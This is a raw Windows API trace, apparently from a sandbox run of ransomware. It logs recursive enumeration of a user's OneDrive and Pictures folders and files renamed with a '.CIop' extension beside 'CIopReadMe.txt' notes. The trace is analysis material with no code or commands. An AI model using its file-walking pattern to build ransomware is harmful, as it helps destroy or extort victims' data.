lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\" [0118.019] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\" [0118.019] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\*.*" [0118.019] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0118.019] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\OneDrive") returned="OneDrive" [0118.019] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="OneDrive" | out: lpString1="OneDrive") returned="OneDrive" [0118.020] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.020] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.020] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0118.020] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0118.020] lstrlenW (lpString="desktop.ini") returned 11 [0118.020] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.020] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0118.020] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0118.020] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\OneDrive" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive" [0118.020] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\*.*" [0118.020] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0118.020] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\OneDrive") returned="OneDrive" [0118.020] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="OneDrive" | out: lpString1="OneDrive") returned="OneDrive" [0118.020] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.020] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.020] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.020] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.020] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0118.020] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0118.020] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.020] lstrcmpW (lpString1="Pictures", lpString2="..") returned 1 [0118.020] lstrcmpW (lpString1="Pictures", lpString2=".") returned 1 [0118.020] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0118.020] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0118.020] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0118.020] SetErrorMode (uMode=0x1) returned 0x1 [0118.020] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0118.021] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0118.021] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0118.021] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\*.*" [0118.021] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0118.021] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="Pictures" [0118.021] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures" [0118.021] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.021] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.021] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.021] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.021] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.021] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0118.021] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0118.021] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0118.021] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.021] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0118.021] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0118.021] lstrlenW (lpString="desktop.ini") returned 11 [0118.021] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.021] lstrcmpW (lpString1="MgyGAvvq5w6fl7AR1Hfa.bmp.CIop", lpString2="..") returned 1 [0118.021] lstrcmpW (lpString1="MgyGAvvq5w6fl7AR1Hfa.bmp.CIop", lpString2=".") returned 1 [0118.021] lstrlenW (lpString=".CIop") returned 5 [0118.021] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.021] lstrcmpW (lpString1="qp-3yc7D3FrGiW.jpg.CIop", lpString2="..") returned 1 [0118.021] lstrcmpW (lpString1="qp-3yc7D3FrGiW.jpg.CIop", lpString2=".") returned 1 [0118.021] lstrlenW (lpString=".CIop") returned 5 [0118.021] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.021] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.021] lstrcmpW (lpString1="vxT7Wz-UZ XFfNDp.png.CIop", lpString2="..") returned 1 [0118.021] lstrcmpW (lpString1="vxT7Wz-UZ XFfNDp.png.CIop", lpString2=".") returned 1 [0118.021] lstrlenW (lpString=".CIop") returned 5 [0118.021] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.021] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0118.021] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0118.021] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0118.021] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\*.*" [0118.021] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0118.022] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="Pictures" [0118.022] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures" [0118.022] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.022] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.022] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.022] lstrcmpW (lpString1="7B iYIRm", lpString2="..") returned 1 [0118.022] lstrcmpW (lpString1="7B iYIRm", lpString2=".") returned 1 [0118.022] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0118.022] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0118.022] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="7B iYIRm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" [0118.022] SetErrorMode (uMode=0x1) returned 0x1 [0118.022] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" [0118.022] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\" [0118.022] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\" [0118.022] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\*.*" [0118.022] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67deb8 [0118.022] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm") returned="7B iYIRm" [0118.022] lstrcpyW (in: lpString1=0x2dc7014, lpString2="7B iYIRm" | out: lpString1="7B iYIRm") returned="7B iYIRm" [0118.022] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.022] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.022] lstrcmpW (lpString1="4LAv.png.CIop", lpString2="..") returned 1 [0118.022] lstrcmpW (lpString1="4LAv.png.CIop", lpString2=".") returned 1 [0118.022] lstrlenW (lpString=".CIop") returned 5 [0118.022] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.022] lstrcmpW (lpString1="aClNMcka4 SH9Md3Hwo.png.CIop", lpString2="..") returned 1 [0118.022] lstrcmpW (lpString1="aClNMcka4 SH9Md3Hwo.png.CIop", lpString2=".") returned 1 [0118.022] lstrlenW (lpString=".CIop") returned 5 [0118.022] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.022] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0118.022] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0118.022] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0118.022] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.022] lstrcmpW (lpString1="Qm paxELf.bmp.CIop", lpString2="..") returned 1 [0118.022] lstrcmpW (lpString1="Qm paxELf.bmp.CIop", lpString2=".") returned 1 [0118.022] lstrlenW (lpString=".CIop") returned 5 [0118.022] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.022] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.022] lstrcmpW (lpString1="wGSFbii.jpg.CIop", lpString2="..") returned 1 [0118.022] lstrcmpW (lpString1="wGSFbii.jpg.CIop", lpString2=".") returned 1 [0118.022] lstrlenW (lpString=".CIop") returned 5 [0118.023] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0118.023] FindClose (in: hFindFile=0x67deb8 | out: hFindFile=0x67deb8) returned 1 [0118.023] FindClose (in: hFindFile=0x67deb8 | out: hFindFile=0x67deb8) returned 0 [0118.023] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" [0118.023] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\*.*" [0118.023] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e2b8 [0118.023] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm") returned="7B iYIRm" [0118.023] lstrcpyW (in: lpString1=0x2dc7014, lpString2="7B iYIRm" | out: lpString1="7B iYIRm") returned="7B iYIRm" [0118.023] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.023] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.023] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.023] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.023] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.023] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.023] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.023] lstrcmpW (lpString1="QVr-mzOnFHsqrr", lpString2="..") returned 1 [0118.023] lstrcmpW (lpString1="QVr-mzOnFHsqrr", lpString2=".") returned 1 [0118.023] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" [0118.023] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\" [0118.023] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\", lpString2="QVr-mzOnFHsqrr" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" [0118.023] SetErrorMode (uMode=0x1) returned 0x1 [0118.023] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" [0118.023] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\" [0118.023] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\" [0118.023] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\*.*" [0118.023] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67deb8 [0118.023] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="QVr-mzOnFHsqrr" [0118.023] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="QVr-mzOnFHsqrr" | out: lpString1="QVr-mzOnFHsqrr") returned="QVr-mzOnFHsqrr" [0118.024] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0118.024] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0118.024] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0118.024] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0118.024] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0118.024] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0118.024] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0118.024] lstrcmpW (lpString1="jA0o4Ao7ru.jpg.CIop", lpString2="..") returned 1 [0118.024] lstrcmpW (lpString1="jA0o4Ao7ru.jpg.CIop", lpString2=".") returned 1 [0118.024] lstrlenW (lpString=".CIop") returned 5 [0118.024] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0118.024] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0118.024] FindClose (in: hFindFile=0x67deb8 | out: hFindFile=0x67deb8) returned 1 [0118.024] FindClose (in: hFindFile=0x67deb8 | out: hFindFile=0x67deb8) returned 0 [0118.024] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" [0118.024] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\*.*" [0118.024] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67db78 [0118.024] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="QVr-mzOnFHsqrr" [0118.024] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="QVr-mzOnFHsqrr" | out: lpString1="QVr-mzOnFHsqrr") returned="QVr-mzOnFHsqrr" [0118.024] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0118.024] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.024] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0118.024] lstrcmpW (lpString1="-yOADLMtpkF", lpString2="..") returned 1 [0118.024] lstrcmpW (lpString1="-yOADLMtpkF", lpString2=".") returned 1 [0118.024] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" [0118.024] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\" [0118.024] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\", lpString2="-yOADLMtpkF" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF" [0118.024] SetErrorMode (uMode=0x1) returned 0x1 [0118.024] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF" [0118.024] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\" [0118.024] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\" [0118.024] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\*.*" [0118.024] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67dbf8 [0118.025] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF") returned="-yOADLMtpkF" [0118.025] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="-yOADLMtpkF" | out: lpString1="-yOADLMtpkF") returned="-yOADLMtpkF" [0118.025] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0118.025] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0118.025] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 1 [0118.025] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 0 [0118.025] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF") 